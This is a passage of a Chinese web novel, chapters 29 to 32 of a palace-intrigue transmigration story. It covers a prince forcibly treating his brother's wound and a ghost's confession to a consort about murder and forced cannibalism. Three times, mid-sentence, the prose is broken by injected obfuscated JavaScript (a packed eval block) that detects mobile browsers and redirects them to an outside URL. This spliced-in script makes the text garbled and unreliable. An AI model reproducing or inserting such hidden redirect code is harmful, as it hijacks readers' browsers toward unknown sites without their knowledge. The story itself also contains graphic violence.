“……摸清了吗,这道一寸半的伤口,明明是哥哥亲手给阿雉的啊。” “现在,又来惺惺作态什么呢?” 萧鸿雪敛了笑意,倏地将杨惜的手甩开了。 29. 上药 杨惜指尖还残留着抚过萧鸿雪脸颊时那种柔腻微凉的触感,他抿了抿唇,面上依旧是一副平静的表情,但胸口莫名加速的心跳让他自己都愣了愣神。 奇怪……难道是我和萧鸿雪单相独处,太紧张了吗? 杨惜有些讶异,低头看见萧鸿雪对自己一副警惕防备的模样,轻声解释道:“阿、阿雉,我那时是一时情急,没控制好力道,但我真的只是想劝架,不是有意要伤你的。” “哦……太子哥哥想劝架,然后那支箭就‘恰好’擦着臣弟的脸过去了?” 萧鸿雪单手支颐,微微侧着脸,似笑非笑地望着杨惜。 “哥哥说自己是一时情急,可阿雉倒觉得,哥哥箭法如神,是想以这一箭震慑阿雉,毋再对那位贺小侯爷出手啊。” “看来……他在哥哥心里,确实很有些份量呢。” 萧鸿雪背对书案而坐,两腿交叠,他笑了一声,素白的指节轻轻敲击着案沿。他的声音很轻,但听得杨惜心里一阵发毛,甚至,还有些没由来的心虚。 萧鸿雪这是真和贺萦怀杠上了?就因为贺萦怀是自己传闻中的“相好”,所以萧鸿雪恨屋及乌了吗?好担心小贺哥的人身安全……不过,怎么总感觉有种正宫质问偷腥的丈夫,且放出狠话要收拾小三的诡异既视感啊。 杨惜心里这么想着,以有些紧绷的姿态站在萧鸿雪身前,没有答话,悄悄盯着他的脸发了会儿呆。 昏黄的暖光将萧鸿雪平素有些冷冽锋利的昳丽眉眼给晕染出了几分柔和意味,视线再往下挪一寸,便是他落垂在肩上的如瀑银发,和一截光滑洁腻的雪肤纤颈,美到让人有些舍不得挪开眼。 ……他好美啊。杨惜由衷地感叹道。 质疑萧成亭,理解萧成亭,成为……不对,我在干什么啊? 杨惜摇了摇头,眸光瞥见方才被自己搁在一旁的药膏,想起自己此行的目的,他定了定心神,道:“我和萦怀只是朋友之谊……阿雉,你脸上的伤口一定要及时处理,要是溃烂感染了,兄长就愧上加愧了。” 杨惜走到一旁取回一罐治脸伤的药膏,他将罐盖旋开,指尖挑起一撮湿凉的脂膏。 杨惜以一种小心翼翼的安抚姿态靠近萧鸿雪,用指腹的温度将药膏煨暖了些,才试着往萧鸿雪脸上的伤处抹。 但药膏尚未触及萧鸿雪的伤处,杨惜的腕骨便被萧鸿雪攥住了,他微微仰着头和杨惜对视,冷笑一声,“哥哥……这算是什么啊?” “打完巴掌,再喂颗甜枣?” “一个微不足道的人脸上一条微不足道的伤口,我们金尊玉贵的太子殿下又何必挂怀至此?” “臣弟可不觉得,哥哥是会为作践、轻侮他人而感到愧疚的人呢。” 萧鸿雪勾唇一笑,眼神中满是讥讽。 杨惜:…… 杨惜感觉自己嘴皮子都要磨破了,还半点都说不动萧鸿雪,他实在倍感心累,索性不再解释了。 杨惜挣开萧鸿雪的手,试图强行给他上药。但萧鸿雪并不打算让他如意,他眯起幽紫色的漂亮眼眸,掷下冷冷的一句:“别、碰、我。” 就碰。 杨惜咬了咬牙,打算无视萧鸿雪的威胁,继续手上的动作。而萧鸿雪眼神一凛,再度将杨惜的腕子攥住,所施力道很重,快要将他生生捏脱臼了。 杨惜疼得表情扭曲,准备换只手进行,萧鸿雪则故技重施,极力挣扎阻拦。 好几个回合下来,本就又冷又疲惫,只盼着给萧鸿雪上完药后能早些回宫睡觉的杨惜有些急眼了。 他借一个萧鸿雪不注意的空档,使了个巧劲,反手将萧鸿雪冷玉一样冰凉的手腕给攥住,重重地摁在桌案上,磨出了一圈红痕。 萧鸿雪的武力值是挺高,但架不住少年和青年之间的力气差距啊,何况他还在病中呢。 小男主,今天我就让你知道什么叫做以大欺小。杨惜心想。 “萧成亭,你干什么?!” 萧鸿雪怒视着杨惜,吼了一句。 “不干什么,”杨惜目光深邃,语气强硬,“教训教训不听话的幼弟而已。” “听话,别动……难道要我把你的手脚都绑起来,你才肯乖么?” “阿雉既然这么清楚你的太子哥哥是个什么样的人,就也应该明白,本宫,向来不介意对人用强。” 杨惜一手压着萧鸿雪的手腕,一手撑着几案,倾身而上,将萧鸿雪的身形整个笼在怀中。 他眼角的余光瞥见了摆在书案一角的那书的蓝色封皮,轻笑着开口: “最近在读《论语》啊……那阿雉,这书中的兄弟之节、君臣之义,你学到哪里去了?” 萧鸿雪一愣,不明白他话中所指。 “阿雉不清楚没关系,本宫教教你。兄弟之节、君臣之义……那就是本宫现在要给你恩宠,你就该涕零跪谢,好好受着。” “而不是这样恶意揣度、出言相讥。” 杨惜薄唇轻启,冷冷地甩出几句话,声音里有些极力克制的愠怒。 他眯起眼,将萧鸿雪的下颔轻轻挑起,“你以为本宫在外奔波了一日,都已经躺到榻上了又合衣赶过来,是为了谁?” “难道本宫真是闲的慌,只是为了站在你面前吹吹寒风,听听你的冷嘲热讽,觉得这样很好玩儿吗?” 杨惜冷冷一笑。 “本宫还没这么爱犯贱。” “你恨本宫,本宫难道不知道?但玉屏说她劝了你一天,你都不肯用药,你身上本来就有伤,如果不是担心你,本宫何苦上赶着来讨你嫌啊。” 萧鸿雪望着眼前神情陌生的杨惜,怔了怔,任杨惜将自己的手腕压在桌案上,不再挣扎了。 他微微转过脸,垂下眼眸,不知在想些什么。 杨惜见他这副任自己动作的柔顺模样,也愣住了。自己方才是被惹急眼了爆发了一下,以前在家就没少教训弟弟杨忱,一时间当大哥的职业病犯了,语气极其强硬。 杨惜意识到这点后,也觉得自己确实太凶了,萧鸿雪虽然心性老成,其实也就是个十五岁的少年,自己方才说的话好像有点太重了…… 杨惜叹了口气,将语气放软,伸手轻轻摸了摸萧鸿雪的头。 “抱歉。” “我方才……气过头了,乖,我轻一点,不会弄疼你的,不怕啊。” 杨惜自药膏罐中重新蘸取了一些脂膏,同样是小心煨暖后,才轻轻拭抹到萧鸿雪颊侧的伤处。 抹药时,杨惜认真专注地捧着萧鸿雪的脸。萧鸿雪纤长的眼尾微微发红,眼睫轻轻颤动,像蝶翅一样在杨惜指尖扑闪了几下,带起些微痒意。 杨惜手指一边动作,一边在心里默念,这张顶级建模的脸可千万不能留疤啊,听说面容有缺会让人心情抑郁,还会找不到老婆,找不到老婆呢他就会很孤单,很孤单就导致他会变得更黑暗残暴,然后把我扁得更狠这个恶性循环啊! 脂膏散发着温热的暖香,被杨惜指腹的薄茧蹭过伤处时,萧鸿雪有种难言的感觉。他将脸转回,不言不语地打量着杨惜。 杨惜眼尾边的两点滴泪痣在垂眸时看得很分明,此刻他眼神平静而温柔,并无半分情欲之色,全然不似自己在梅园初见太子时那副蜜口阴猾的模样。 萧鸿雪在杨惜身上闻到了那日杨惜去王府救他时,他在他怀中闻到的那种冬日暖阳般温暖干净的气息,心绪不由得平静下来…… 回过神来后,萧鸿雪觉得自己简直是疯了——萧成亭这种变态竟然能让自己感到安心? 杨惜动作间微微倾身,热息喷洒在萧鸿雪的耳廓,萧鸿雪忍不住轻哼一声,向旁边轻轻挪动了一下。 杨惜听着这道细小的哼声,竟无端想起几日前那个旖旎的梦来,他耳尖发红,手指颤抖了一下,不慎将药抹到萧鸿雪的眼睫上了。 萧鸿雪:“……” “……我自己来。” 萧鸿雪嗓音微哑,挣开杨惜的手,抬手将眼睫上湿黏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“萧鸿雪,你要是再这么任性使气,不好好喝药,兄长可要搬来碧梧院,日日守着你喝药,亲自上手来喂你了。” 鬼使神差地,杨惜抬起手,指尖顺着萧鸿雪的唇线,描摹了一下他淡粉莹润的唇,语气淡漠。 在这一瞬间,杨惜和萧鸿雪的视线交织在一起,彼此呼出的热息近得仿若紧紧缠绕的丝线,杨惜有些失神,努力维持着面上的平静,然而心跳却渐渐失控,在胸腔内肆意狂敲。 萧鸿雪也怔了怔,垂眸望着掐住自己脖颈的这只手,杨惜自白金色的寝衣袖口伸出的那截手腕非常细瘦,白得骇人。 萧鸿雪眼神一暗。他被掐着脖颈,有些喘不过气,面颊浮起潮红。被掐了许久,他也不生气,咳了几声,探手摸了摸杨惜脸侧飞舞的青丝。 然后,萧鸿雪用脸颊轻轻蹭了蹭杨惜的手掌心,仰起头,露出一个分外病态妖异的笑。 “好啊……那哥哥来吧。” “来,日日守着阿雉。” “什么也不做……就只守着阿雉,好不好?” 萧鸿雪轻轻摩挲着袖内的匕首。 杨惜:…… 我不、不敢啊。口嗨一下算了,真要来的话,感觉他会趁我睡觉猛攮我好几刀?! 杨惜顿了顿,稍微冷静了些,努力维持着一副严肃的表情,他松开手,深深地看了萧鸿雪一眼。 “明日,我还会让玉屏按时把药送来。” “喝不喝,你看着办。” 杨惜扔下这句话后,转身离去。 萧鸿雪抚上自己颈边被掐出的红痕,目送着杨惜离去的背影,嘴角的笑意也慢慢淡去。 “萧成亭……” 书案上昏黄的灯火被夜风吹得横斜,几道光影在墙上晃动。 萧鸿雪的轻语很快被风吹散了。 30. 幽媾 翌日一早,天光熹微时,杨惜便自寝榻上悠悠转醒了。 他将一只手掌覆在额头上,眯眼望着头顶的锦绣床幔,想起自己昨夜在萧鸿雪面前两次情绪失控,感到有些不可思议。 自己为何会这么轻易地就被萧鸿雪牵动情绪?为什么一踏进碧梧院,就忍不住看向他,在意他? 其实说到底,自己也就是个炮灰路人甲罢了,何必真情实感地代入兄长的身份和萧鸿雪置气呢。萧鸿雪这个位面之子在这个世界里那是想干什么就干什么,至于伤药,更是爱喝不喝了,反正也死不掉的。 杨惜实在不明白,为什么当时自己发现萧鸿雪偷偷将药倒掉后会那么生气呢?为了这件事,甚至不惜和萧鸿雪吵了一架,明明他喝不喝药对自己其实并没有什么影响。 现在他清醒过来了,越想越懊恼自己昨夜的鲁莽急躁,一个没忍住就把萧鸿雪当成弟弟训了,这完全是吃力不讨好的行为啊! 照萧鸿雪后期那种阴鸷残暴的性格,他如今对萧鸿雪掏心掏肺,只怕人家以后也真的会把他给“掏心掏肺”了啊。 不知道这次争执过后,萧鸿雪会不会更恨自己了。 杨惜叹了口气,暗暗下定决心,以后要坚决恪守舔狗本分,不再做任何多余的事情。 杨惜散着一头及腰的墨发起了身,伺候他晨起的侍女们一边端来暖水给他盥面,一边为他梳发更衣。 捧着衣裳的侍女将手中那叠形制华美繁缛的衣衫层层件件地穿在杨惜身上,在准备披上最后的外氅时,她疑惑地“咦”了一声。 “殿下的外氅怎么破了,奴婢昨儿看还好好的呀?” 杨惜闻言,望向外氅上的那条长长的罅口,想了想,道:“……昨天逗猫,被猫儿抓的。” 萧鸿雪……应该算是一只银毛猫猫吧,漂亮的,高傲的,戒备心很重,一碰就炸毛,而且,还很看不起我。 “猫?显德殿里没有猫啊,只有鸿雪公子养的那只小犬。”侍女面上满是疑惑之色。 “说起来,许久没见锅巴了,本宫昨天去碧梧院也没见着它?”杨惜笑了笑,不着痕迹地转移了话题。 “殿下有所不知,这些时日显德殿上下的宫人们都和锅巴关系亲密,它四处留寝,每晚轮着歇宿在各个宫人的房间……鸿雪公子对此不置一语,似乎是默许了。” “咱们宫里头寂寞惯了,碰上这么个活泼喜动的宠物,都是打心眼里地疼爱。” 杨惜忍俊不禁,这锅巴,完全已经在显德殿里登基当起“狗皇帝”了啊,夜夜翻牌子“宠幸”宫人,还不带重样的。 这恐怖的社交能力和它的主人简直是天差地别啊,萧鸿雪那冰块性格简直能把人活活冻死,怎么会养出这么阳光活泼的小犬呢? 杨惜忽地想起了萧鸿雪那张冷淡矜傲的脸,明明生得漂亮至极,但平素要么面无表情,要么就是冷笑,好像从来没见他真心实意地笑过……长期不笑真的会变成面瘫的吧,会的吧? 真是可惜那张脸了。杨惜摇了摇头,在心中感叹一声。 虽然萧鸿雪有时候也会露出那种妖异蛊惑的表情,但这一看就是他想趁自己心迷神醉之时把自己刀了的危险信号啊! 色字头上一把刀,原主因为贪恋萧鸿雪美色而被他生生折断的双腿还在宗人府血淋淋地爬着,看着自己呢,他绝不能步原主的后尘。 凭杨惜对萧鸿雪的了解,萧鸿雪冷脸或爱搭不理的反而让他挺有安全感,如果萧鸿雪突然热情主动了,那他一定是想做掉自己了!因此,秉持着“你冷脸我主动,你回应我撤退”的原则和萧鸿雪相处,准没错。 任由侍女将自己打扮齐整后,杨惜命其中一人去吩咐玉屏为萧鸿雪备药,然后就坐到了书案前,执着刻刀在已精心雕琢了几日的那条银锁上细细打磨。 一晌后,杨惜举起银锁,迎着天光仔细量视了一番,勾唇一笑,“嗯……差不多了,应该赶得上。” 他将那条工巧的银锁收进了匣中,算了算时辰,站起身。他取走了摆在案角的花钿盒,准备前往钟粹宫。 侍守在寝殿门口的贺萦怀见杨惜出来,朝他微微颔了颔首,跟在他身后。 二人走到檐廊拐角处时,与玉屏打了个照面。 “萧鸿雪他每天……就喝这个?” 杨惜见玉屏手中端着一只汤色稠黑的药碗,散发着一股熏天的酸苦气,闻得头皮发麻,想起了被老爷子的《药经》支配的恐惧,微微蹙了蹙眉。 “是。”玉屏点了点头。 和现代经过改良的中药不同,这种原生态的药一看就苦得没边儿了……难道萧鸿雪是因为怕苦才不肯喝药的吗? 杨惜恍然大悟。 如果每天都要喝这种东西的话,似乎也不是不能理解他偷偷把药倒掉的行为了。 杨惜折返寝殿,取了些自己珍藏的饴糖,又挥笔写了张字条,嘱咐侍女一同送去碧梧院,方才乘上前往钟粹宫的轿辇。 * 在杨惜将袖中那只花钿盒轻轻放在桌案上后,本来神色憔悴却无比平静的姜兮险些晕厥,她脸色煞白,瞪大两眼,发白的指节紧张地绞着膝头的裳布,嘴唇颤抖着发问: “这……殿下,您是从哪里寻到的?妾身明明将它埋起来了……” 她两手死死地扣着桌沿,慌乱地看了一眼花钿盒,又望向窗外那株白梅树,用近乎逼问的口吻急切地质问道。 “我只有这个了。” 不待杨惜回答,姜兮突然神经质地咬起了自己的指甲,直咬得鲜血淋漓。 “这是绛真留下的唯一的东西了,我,我当时在曲江里,只捞起了这个。” “为什么连这个也不肯留给我,为什么不肯让我把它好好藏起来,为什么连你也要千方百计地把它窃走?!还给我,还给我!” 姜兮神情激动,瞪着两眼,微微喘着气,伸手去抓那只花钿盒子,将它死死在抱在了怀里,珍重地抚摩着。 杨惜先是被她的反应吓了一跳,见她神色有些癫狂,实在深感歉疚,轻声解释道: “抱歉,昭仪娘娘,此物是本宫上回带来的小犬无意间发现的,本宫原以为此物与饺饵案有涉,一路查到了醉红楼,没想到只是……” 杨惜适时止住了话头,没有再说下去。 “这应当也是昭仪娘娘的故人之物,本宫将它带回来了,算本宫给娘娘赔罪。” 他自怀中取出了那对素色耳珰。 姜兮望向那耳珰,表情明显松动。 “殿下知道了。”她又恢复了平静的语气。 “妾身和绛真的事。” 杨惜观察着她的神色,小心翼翼地点了点头。 姜兮轻轻掂起那对耳珰,眼神中满是怀念。 “真是许久不见了,当年妾身初见绛真时,她戴的便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824257|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这对耳珰。” 她正要向杨惜一揖,杨惜连忙起身按止她的动作。 姜兮低下头,将花钿盒启开,用手指点起一枚花钿,蘸了些胶,贴在自己眉心。然后痴痴地笑了一阵,笑完却满脸泪痕。 “其实……我本不该还活着。” “娘娘是因为接到入宫为妃的圣旨,才没有跳江的吗?”杨惜小心地斟酌着用辞。 “不!是因为没有死成才入宫的。” “殿下看不起我,是不是?殿下以为,我就那么怯懦怕死吗……”她脸上的表情痛苦到显得有些扭曲。 “我与绛真本来已私许终身,可女子相恋,为世俗不容,我原想着带她去山林隐居。但那日我回府,偶然见到了陛下。陛下走后,父亲对我说,陛下向他几次暗示,说对我有那个意思。” “抗旨是死罪,但若是我在正式的旨意下来之前,死于一场‘意外’,料想陛下也不会怪罪我父亲。” “我将此事告诉绛真,绛真哭了,她握住我的手说,她不怕死,她只怕和我分开。” “然后,我们相约在冬至日的夜晚,一同跳进曲江。” “活着不能相守,死了,总能不离不弃了吧?” “可是,怎么会死不成呢……我,我那夜真的跳了江,分明都已经在曲江里窒息了,冰凌漫过鼻喉,江水灌进心肺,却死不掉。” “怎么会死不掉呢……” “我一睁眼,就已回到姜府,我的榻上了。” “好像什么都不曾发生过,好像我和绛真的情,只是我做的一场虚幻的梦。” “可是盒子还在——这不是梦!” “我和绛真……怎么会是梦呢?这样的收梢,我不喜欢。” “明明是我邀绛真堕江殉情的,绛真她都为我投水而死了,我却还恬不知耻地活着呢!” 姜兮两眼无神,泪痕将脂粉晕得斑驳,她手指无意识地反复摩挲着花钿盒上的纹路。 “娘娘,杜嫔娘娘到了。”外头有侍女通传。 与此同时,厅堂的珠帘被一只纤细素白的手掀开了。 “阿兮,我来看你了……” 来者是杜莺娘,她抖了抖外氅上的雪花,在望见桌案上的花钿盒,案旁泪流满面的姜兮后,声音一顿。 而后,她轻轻一笑,眼中满是惊喜之色,语气激动道:“阿兮——” “阿兮,你想我了,对不对?” 杨惜和姜兮俱听这句有些突兀的话听得毛骨悚然。 杜莺娘毫不顾忌杨惜也在场,再不复平日里的端庄婀娜,急切快速地踱到姜兮身旁,亲昵地勾起姜兮的脖颈,嘴中唱起几句昆戏唱词: “我盼你,似春风,为我催花连夜发。” “我把艳软香娇得意儿耍,多亏她无怨无悔情款款……无怨无悔,情款款。”[1] 明明是听得人骨头都发酥的吴侬软语,杨惜却感觉这场景实在有些诡异。 没记错的话,杜嫔方才哼唱的是《牡丹亭》中《幽媾》一折的唱段。 而这《幽媾》一折,讲的是已经身死的杜丽娘为情复生…… 杜莺娘微微垂首,吻了吻姜兮额心的花钿。姜兮浑身僵硬,一动不动。 杜莺娘见姜兮神情呆滞,掩唇一笑,柔声道: “阿兮,曲江的水,真的好冷啊……” 姜兮瞬间瞪大了两眼。 31. 爱恨 姜兮的脖颈被杜莺娘纤长冰凉的胳臂环住,明明杜莺娘所用力道很轻,但姜兮只觉仿佛被毒蛇盘颈一般,很是窒息,脊背一阵发寒,双手抑制不住地发起抖。 杜莺娘见姜兮这副紧张害怕的模样,轻笑一声,慢条斯理地将下颔抵在她的肩上,手指勾起她鬓耳边的垂发打着卷。 “你猜到了,对吗?” 杜莺娘眯起眼,嗅闻着姜兮的一缕发丝,声音很轻。 “我的阿兮还是这么聪慧,和当年一样……那你告诉太子殿下,我是谁呢?” “你,你是……”姜兮浑身哆嗦,嗫嚅着。 “我不是真正的‘杜莺娘’。” “我叫绛真,出身瘦马,从前是平康里醉红楼的名伶,现在……大概只是曲江里的一个水鬼野魂。” 在姜兮将自己身份道出之前,绛真抬头看了杨惜一眼,笑了,自己娓娓道来。 杨惜愣了一会儿,反应过来后,被吓得直接撑着几案站了起来,带翻了身后的椅凳。 这、这什么情况? 《燕武本纪》不是本乱世权谋文吗,怎么还整上鬼魂复生的玄幻恐怖元素了? “……我那日堕江殒命之后,原以为可以等着我的阿兮一同去往地府阴司了,可我站在曲江的桥上等了很久,不见你来。” 绛真不再看杨惜,垂下眼眸,轻轻抚了抚姜兮的脸。 “曲江边有位身佩犀角、目能视鬼的术士在夜钓,那是位奇人,他见我的魂魄在桥上久久徘徊不去,很是奇怪,主动上桥与我攀谈。” “我告诉他事情原委后,他微微一笑,告诉我他已经掐指算过,此江今夜只会收走一条人命。” “我不相信那术士的话,执意不肯离去,他便与我一同在桥上等了一夜。” “姜兮,你骗我。” 绛真的眼神温柔而凄怨,她将姜兮被吓得惨白的脸扭转过来与自己对视,声音淡漠。 “你真的没有出现。” “不,不是的,我当时明明……”姜兮摇着头,出声反驳。 “时至今日,你还是不敢承认吗?” 绛真见姜兮摇头否认,拨弄着姜兮鬓上的珠翠,轻笑一声,打断了她的话。 “你还是不敢承认,你当年畏惧世俗流言,见江生怯,在殉情的最后关头,退缩了。” “姜兮,你曾经亲口对我说,我是你认定的爱人,无关性别,你此生只爱我一个。若女子相恋为世俗人伦不容,你我便以性命违抗。” “可惜,我们做不成“梁祝”,化不成一双蝴蝶,只化作了一对僵死的蚊蚋虫卵……” “你在我死后,迫不及待地进了宫当宠妃,给男人生孩子啊。” 绛真似笑非笑地看了姜兮一眼。 “姜兮,恶不恶心?你倒还挺‘随遇而安’的,可你想过我吗?” “寒冬腊月,曲江的水那么冷,可我还是毫不犹豫地跳了。因为你说过,你也会在当夜跳入曲江,咱们去了地府阴司,总能做成一对不离不弃的佳偶伉俪。” “可是姜兮,我的身躯血肉被曲江下的鱼龟一口一口蚕食的时候,你在做什么?” “在思考如何邀宠,穿什么样的衣饰可以讨陛下欢心吗?” “不是不愿入宫,要和我殉情同死吗?可我死后,你竟还独活了这么久呢。因你一时意气做出的决定,我便奋不顾身地为你虚耗芳华、枉送性命,我还真是可笑啊……” “这么多年,你都没想过,来陪陪我吗?” “没关系的,阿兮,你不来,那我回来找你……” 绛真言语间,清泪如铅水,淌了满面。 她吸了一口气,举起衣袖揩净面颊上的泪水。 “我和那位术士在曲江桥上等了一夜。”绛真恢复了平静,接着说道。 “本来翌日鸡鸣三声之前,我就该走了,但那位术士怜我遭情人欺骗枉送性命,以玄法将我的魂魄暂留于一面魂幡之中。” “他说自己要去江南办事,他算过,我的机缘恰好也在江南。于是将我带下江南,为我寻找可供复生的肉躯。” “那一年,苏州织造杜彦尚未出阁的长女杜如是被郎中诊出了喜脉。” “杜彦大怒,自清家门,命人将怀有身孕的杜如是秘密沉湖。” “几月过后,杜彦思女心切,悔恨不已,派府丁去将自己外室所生的寄养在乡野间的小女儿杜莺娘接回,以解思女之苦。” “可这莺娘小姐的轿辇在路过她长姐杜如是曾被人摁着头活活溺死的那湖时,失足落水。她性命垂危、魂魄离体之际,那位术士施法,使其肉身被我夺舍。” “其实这莺娘小姐‘落水’根本不是意外,是杜如是的生母,杜彦的大妇暗中授意去接杜莺娘的府丁在途中害她性命。” “她的女儿被活活沉湖,杜彦却要将外室所生的小女接回养在身边,她岂能心甘呢?” “但是,‘杜莺娘’最后还是顺利到了杜府。” “大妇见了我,哆哆嗦嗦地指着我说,‘你,你不是已经死了吗?阿财明明探过你的鼻息和脉搏。’然后,她直接被吓病了,好几日没能从床榻上爬起。” “后来她认为我是附身了杜莺娘的‘妖祟’,还偷偷请了道士给我灌符水,把什么八卦镜、桃木剑都用了个遍。” 绛真掩唇一笑。 “的确是妖祟,可惜杜莺娘的肉身被我所夺,我便是她,这些伎俩怎么可能降伏我?后来,这件事不了了之。” “那位术士告诉我,他会助我探寻真相,但是时机未到,我要以杜莺娘的身份在杜府生活一段时间。” “一日,那位术士再度乔装前来,他告诉我,姜尚书的独女姜兮在我堕江后几月入宫为妃了。” “一开始听到这个消息,我还是不肯相信。” “直到……次年二月宫中选秀,我以待选秀女的身份入宫,在宫道旁看见你的轿辇行过。” “原来你真的在这里。” “我便留了下来,刻意接近你,与你交好。” “三年了啊,阿兮。你从未和我提过一句有关‘绛真’的事,没有一分想念,更没有一分悔恨。我呢,只是你这个名门出身的闺秀淑媛因为嫌弹琴绣花的日子过于无聊,外出邂逅的一段旖事、一场春梦,根本就无足轻重,是不是?” “梦醒之后,你重归父荫,还是姜尚书的千金,还是可以进宫做养尊处优的嫔妃娘娘,只在寝榻午睡时偶然想起与一个倚门卖笑的妓子之间的旧忆,感叹一句自己年少轻狂,便轻飘飘地翻篇了。” “我原以为你就这样将我忘了呢,我的阿兮真是好生薄情啊……” 绛真目光哀切,望向桌案上的花钿盒,破涕为笑。 “可你将这东西带了进来。” “阿兮,你对我还是有情的。午夜梦回时,你还是会一次又一次地想起我,对不对?” “这就够了。” 被她按住双肩的姜兮也早已泪流满面。 “不,不是的,我当年真的也跳了曲江……” 她抿着苍白的唇,一遍又一遍重复着。 “我不知道为什么,我真的不知道,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824258|158769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么我没有死成,那次之后,父亲对我严加看管,我再也求死不能……” 杨惜仔细听着二人的话,眉头紧锁,思忖起来。 总感觉这事情有些蹊跷……是姜兮说谎了,还是这其中有些什么别的误会? 尘封已久的往日记忆,与耳旁绛真的言语混乱地交织在一起,吵得姜兮头疼欲裂,她痛苦地抱着自己的头: “难得来一趟风月之地,我们当然要看这里琵琶弹得最好、最漂亮的姑娘——” “姜兮,为什么我挂牌前的那一日,偏偏遇见了你呢?” “奴为您宽衣……咦,公子脸红什么?” “如果那一天,你没有出现在醉红楼——你本就不该出现在那里的,这真是冤孽呵。如果那一天,你没有解开我自作聪明设下的谜题,如果那一天,我没有在言笑间被你吸引……” “没想到,能解出‘虫二’谜题的李煕公子,居然是个姑娘。” “你对我说,女子相恋,为世俗难容,你让我等等你,等你带我私奔隐居,我们永远不离不弃。” “都是女子又如何,爱上了就是爱上了。” “我那么爱你,信你,为了你我连命都不要,可你呢?觉得曲江的水太冷了,临时反悔不想跳了?姜兮,我真想剖开你的肚腹看看,你这个人,到底有没有心肝?” “小真……我父亲和我说,陛下对我有意,几月后就会下旨,可我不想去……思来想去,唯有伪作失足落水了……你愿意和我一起走吗。” “我们永远在一起。说好的不离不弃,生死都该相依。” …… 所有喧嚣嘈杂的声音,最后终止于绛真在姜兮耳畔所言的轻飘飘的一句: “柳梦书做的饺饵,味道如何?” “那是从我的阿兮身上掉下来的一块肉啊……保存它、神不知鬼不觉地将柳梦书所做的饺饵中途调换,可费了我好一番功夫呢。” 绛真的神色温柔而癫狂。 “什……什么?饺饵……阿衡,是……是你?” 姜兮又惊又怒,浑身发抖,泪水大颗大颗地滑落,她自椅凳上重重跌落在地。 被绛真的话震撼到久久不能回神的杨惜赶忙上前将姜兮扶起,将她护在自己身后。 “是我哦。你尝过你最心爱的,和陛下所生的孩子了,对吗?” 绛真拊掌一笑,悠悠地在房间内踱步。 “阿衡他很疼哦。” “这孩子真是可怜,在你的肚子里活活憋死,又被我碎尸万段,嘘,听——” 绛真故作凝肃,将一根手指竖在自己唇前。 “他在哭呢。” 绛真放下手指,笑了。 “我一边切碎他,一边告诉他,小阿衡你一出生就没了命,这就是报应啊!老天是怜我的,让我负心负命的阿兮无法为陛下诞下健康的婴孩。” “阿衡,疼吗?没关系的,干娘当年也是这么疼,被江中的鱼龟一口一口、一口一口地啮食去皮肤血肉的时候,也是这么疼。” “你娘不知道我有这么疼,我只好把她最爱的你切成一块一块的,送去给她啖食,她才会明白,我有多疼。” “阿兮,你现在明白了吗?” “窒息、溺死、被吃掉……我真的,太疼太疼,太疼太疼了。” 绛真痛苦地闭上眼—— 然后,她将眼睛睁开,又换上了一副灿烂明媚的笑容。 “所以,我想要你……来陪陪我。” 她取下脑后用以挽发的那根素银簪,直直向姜兮冲去。 32. 蝴蝶 碧梧院。 玉屏将药碗搁在书案上后,没有像往日那样即刻离去,而是站在一旁不动,小心翼翼地观察着萧鸿雪的脸色。 “公……公子,殿下叮嘱过奴婢,以后要看着您把药用完才能离开。” 萧鸿雪素白的手握着书卷,闻言转头冷淡地扫了她一眼,眸光落到案上那只药碗上。 想到昨夜太子离去时所说的话,他怔了怔,而后在心中冷笑了一声。 呵……萧成亭还真是言出必行啊。 “殿下还托奴婢送来了这些。” 玉屏自怀中取出了几枚油纸包装的饴糖和一张字条,放在药碗旁。 “哦?” 萧鸿雪闻言挑了挑眉,望向那张字条,探手将它取来查看。 上面写着:“如果是因为药太苦了的话,喝完尝尝这个,这个很甜。” 句子末尾还附上了一个大大的笑脸。 萧鸿雪放下字条,瞥了药碗边那几颗饴糖一眼,依旧没什么表情。 ……他哄小孩儿呢? 萧鸿雪端起药碗,干脆利落地将药汁一饮而尽,然后取出手绢将唇角的药渍拭净,没有碰那几颗饴糖。 玉屏收拾好药碗,合上门离去后,萧鸿雪又安安静静地捧起了书卷。 这时,又忽地响起了叩门声。 萧鸿雪以为是玉屏遗落了什么东西折返,不以为意,站起身去开门。 门外站着一个锦衣鹤氅、璎圈宝饰的小少年,他身量不高,一张脸稚气未脱,举手投足间却透出一股矜雅的贵气。 他将萧鸿雪从头至尾打量了一遍,微微一笑,点头示意,“你就是萧鸿雪?” 萧鸿雪瞥了他一眼,没有答话。 眼前这个小少年十分陌生,萧鸿雪从未见过他,因此有些疑惑。他在心中暗暗思忖,这人的五官倒和萧成亭有几分相似,结合他的衣着打扮,心下对他的身份已经有了猜测。 这位,应该就是四皇子萧幼安了。 